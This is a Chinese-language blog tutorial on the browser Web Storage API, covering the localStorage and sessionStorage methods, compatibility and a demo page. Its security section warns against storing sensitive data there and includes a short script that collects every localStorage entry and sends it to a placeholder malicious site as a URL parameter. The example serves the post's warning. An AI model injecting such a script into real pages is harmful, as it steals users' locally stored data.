概述

前篇：web API简介(二)：客户端储存之document.cookie API

客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据，而客户端储存是用客户端来储存数据。

Web Storage API就是现代HTML5客户端储存的方法之一。

Web Storage介绍

web storage的概念和cookie相似，区别是它是为了更大的容量存储设计的。cookie数据不能超过4K而且有最大条数限制，同时因为每次http请求都会携带cookie，所以cookie只适合保存很小的数据，但是webStorage可以达到5M或更大。

Web Storage使用起来比cookie更方便更有启发性。setItem getItem clearItem等。

webStorage只能操作字符串对象，所有的存储值都会为字符串数据。

语法

Storage对象：Web Storage API中作为sessionStorage和localStorage的接口。

sessionStorage：继承自Storage对象，关闭浏览器之后消失。利用Window.sessionStorage来进行操作。(Window对象可以省略)

localStorage：继承自Storage对象，关闭浏览器之后仍然一直存在。利用Window.localStorage来进行操作。(Window对象可以省略)

属性和方法：

(1)Storage.length：长度你懂的。

(2)Storage.key()：以n为参数，返回第n个key。

(3)Storage.getItem()：查操作。

(4)Storage.setItem()：增和改操作。

(5)Storage.removeItem()：删操作。

(5)Storage.clear()：删除所有。

安全性

Web Storage的安全性比cookie更糟糕。它甚至连HTTPONLY都没有。所以不要用它来储存敏感信息。

下面的代码可以获取使用localStorage存储在本地的所有信息。

    var i = 0;

    var str = "";

    while (localStorage.key(i) != null)

    {

        var key = localStorage.key(i);

        str += key + ": " + localStorage.getItem(key);

        i++;

    }

    document.location="http://your-malicious-site.com?stolen="+ str;

兼容性

兼容五大浏览器，不兼容IE<8(兼容IE8)。

实例

在里面的输入框中设定值，然后关闭浏览器，再打开我的博客的这篇文章，点击运行测试一下即可看到你设定的值(不是默认值)。

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>Document</title>

</head>

<body>

    <div id="user_text"></div>

    <input type="text" id="user_input">

    <button onclick="userDo()">输入</button>

    <button onclick="reset()">重置</button>

</body>

    <script type="text/javascript">

        //兼容性

        function storageAvailable(type) {

            try {

                var storage = window[type],

                    x = '__storage_test__';

                storage.setItem(x, x);

                storage.removeItem(x);

                return true;

            }

            catch(e) {

                return e instanceof DOMException && (

                    // everything except Firefox

                    e.code === 22 ||

                    // Firefox

                    e.code === 1014 ||

                    // test name field too, because code might not be present

                    // everything except Firefox

                    e.name === 'QuotaExceededError' ||

                    // Firefox

                    e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&

                    // acknowledge QuotaExceededError only if there's something already stored

                    storage.length !== 0;

            }

        };

        //初始化

        function setText () {

            if (!localStorage.getItem('usertext')) {

                userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";

            }

            else {

                userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext');

            }

        }

        var userText = document.getElementById("user_text");

        var userInput = document.getElementById("user_input");

        if (storageAvailable('localStorage')) {

          setText ();

        }

        else {

          userText.innerText = "你的浏览器不支持web storage!";

        };

        function userDo () {

            localStorage.setItem('usertext', userInput.value);

            setText ();

        };

        function reset () {

            localStorage.removeItem('usertext');

            setText ();

        };

    </script>

</html>

Document

输入
重置

<script type="text/javascript">
//兼容性
function storageAvailable(type) {
try {
var storage = window[type],
x = '__storage_test__';
storage.setItem(x, x);
storage.removeItem(x);
return true;
}
catch(e) {
return e instanceof DOMException && (
// everything except Firefox
e.code === 22 ||
// Firefox
e.code === 1014 ||
// test name field too, because code might not be present
// everything except Firefox
e.name === 'QuotaExceededError' ||
// Firefox
e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
// acknowledge QuotaExceededError only if there's something already stored
storage.length !== 0;
}
};

    //初始化

    function setText () {

        if (!localStorage.getItem('usertext')) {

            userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";

        }

        else {

            userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext');

        }

    }

    var userText = document.getElementById("user_text");

    var userInput = document.getElementById("user_input");

    if (storageAvailable('localStorage')) {

      setText ();

    }

    else {

      userText.innerText = "你的浏览器不支持web storage!";

    };

    function userDo () {

        localStorage.setItem('usertext', userInput.value);

        setText ();

    };

    function reset () {

        localStorage.removeItem('usertext');

        setText ();

    };

&lt;/script>

web API简介(三)：客户端储存之Web Storage API的更多相关文章

  1. web API简介(二)：客户端储存之document.cookie API

    概述 前篇:web API简介(一):API,Ajax和Fetch 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据.document.cook ...

  2. Web API（三）：创建Web API项目

    在本篇文章中将讲解如何使用Visual Studio创建一个新的ASP.NET Web API项目. 在Visual Studio中有两种方式用于创建Web API项目: 1.创建带MVC的Web A ...

  3. web API简介(四)：客户端储存之IndexedDB API

    概述 前篇:web API简介(三):客户端储存之Web Storage API 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据. Index ...

  4. Web服务器学习总结（一）：web服务器简介

    一.WEB服务器 1.1.WEB服务器简介 1.Web服务器是指驻留于因特网上某种类型计算机的程序,是可以向发出请求的浏览器提供文档的程序.当Web浏览器(客户端)连到服务器上并请求文件时,服务器将处 ...

  5. J2EE基础之Web服务简介

    J2EE基础之Web服务简介 1.什么是Web服务? 在人们的日常生活中,经常会查询网页上某城市的天气信息,这些信息都是动态的.实时的,它是专业的气象站提供的一种服务.例如,在网上购物时,通常采用网上 ...

  6. Web Api 简介

    ASP.NET Web API 简介  ASP.NET MVC 4 包含了 ASP.NET Web API, 这是一个创建可以连接包括浏览器.移动设备等多种客户端的 Http 服务的新框架, ASP. ...

  7. Redis总结（五）缓存雪崩和缓存穿透等问题 Web API系列(三)统一异常处理 C#总结（一）AutoResetEvent的使用介绍（用AutoResetEvent实现同步） C#总结（二）事件Event 介绍总结 C#总结（三）DataGridView增加全选列 Web API系列(二)接口安全和参数校验 RabbitMQ学习系列（六）: RabbitMQ 高可用集群

    Redis总结(五)缓存雪崩和缓存穿透等问题   前面讲过一些redis 缓存的使用和数据持久化.感兴趣的朋友可以看看之前的文章,http://www.cnblogs.com/zhangweizhon ...

  8. [转]ASP.NET Web API（三）：安全验证之使用摘要认证(digest authentication)

    本文转自:http://www.cnblogs.com/parry/p/ASPNET_MVC_Web_API_digest_authentication.html 在前一篇文章中,主要讨论了使用HTT ...

  9. ASP.NET Web API（三）：安全验证之使用摘要认证(digest authentication)

    在前一篇文章中,主要讨论了使用HTTP基本认证的方法,因为HTTP基本认证的方式决定了它在安全性方面存在很大的问题,所以接下来看看另一种验证的方式:digest authentication,即摘要认 ...

随机推荐

  1. 自定义模块和grains

    一.自定义模块 saltstack有很多模块,模块的源码文件是在salt项目的:salt/modules.py; salt linux-node2-computer sys.doc   查看有哪些mo ...

  2. PhoenixFD插件流体模拟——UI布局【Resimulation】详解

    Liquid Resimulation 流体再(重)渲染 本文主要讲解Resimulation折叠栏中的内容 主要内容 Overview 综述 Parameters 参数 综述 Liquid Resi ...

  3. 46 【golang项目】完成了一个小小的播放器功能

    项目地址:https://github.com/helww/mylab/tree/master/go/player 这个项目中用到了readme说明文件是一个markdown文件. 基础的控制语法,网 ...

  4. easyui的datagrid改变单元格颜色

    另一种方法:https://www.cnblogs.com/raitorei/p/10395233.html easyui的datagrid改变整行颜色:https://www.cnblogs.com ...

  5. [leetcode]28. Implement strStr()实现strStr()

    Implement strStr(). Return the index of the first occurrence of needle in haystack, or -1 if needle ...

  6. 微软Office Online服务安装部署（二）

    现在准备配置Client 1.进入到桌面后,打开powershell 输入: Add-WindowsFeature Web-Server,Web-Mgmt-Tools,Web-Mgmt-Console ...

  7. Linq的执行效率及优化

    描述:项目中使用了linq,发现写的顺序不一样最后的结果也不一样,效率也不一样. Linq的执行效率对比 List<int> source = new List<int>(); ...

  8. Spring注入静态变量的方法，以及CXF如何获取客户端IP

    1.如果使用@Resource注解来注入静态变量的,服务器启动就会报错的.可以新增一个set方法,同时在set方法上用@Resource注解来注入. 2.或者直接在Spring的配置文件中使用< ...

  9. Android如何在http头信息里设置参数

    在使用http请求server时常常要传递一些参数给server,如IMEI号.平台号.渠道号.客户端的版本号等一些通用信息,像这些参数我们没有必要每次都拼在url后,我们可以统一添加到http头里. ...

  10. javaweb开发.调试

    一.快速调试一个类 1.类里面写public static void main(String[] args) throws Exception{}方法 2.该类上右键->Run As->J ...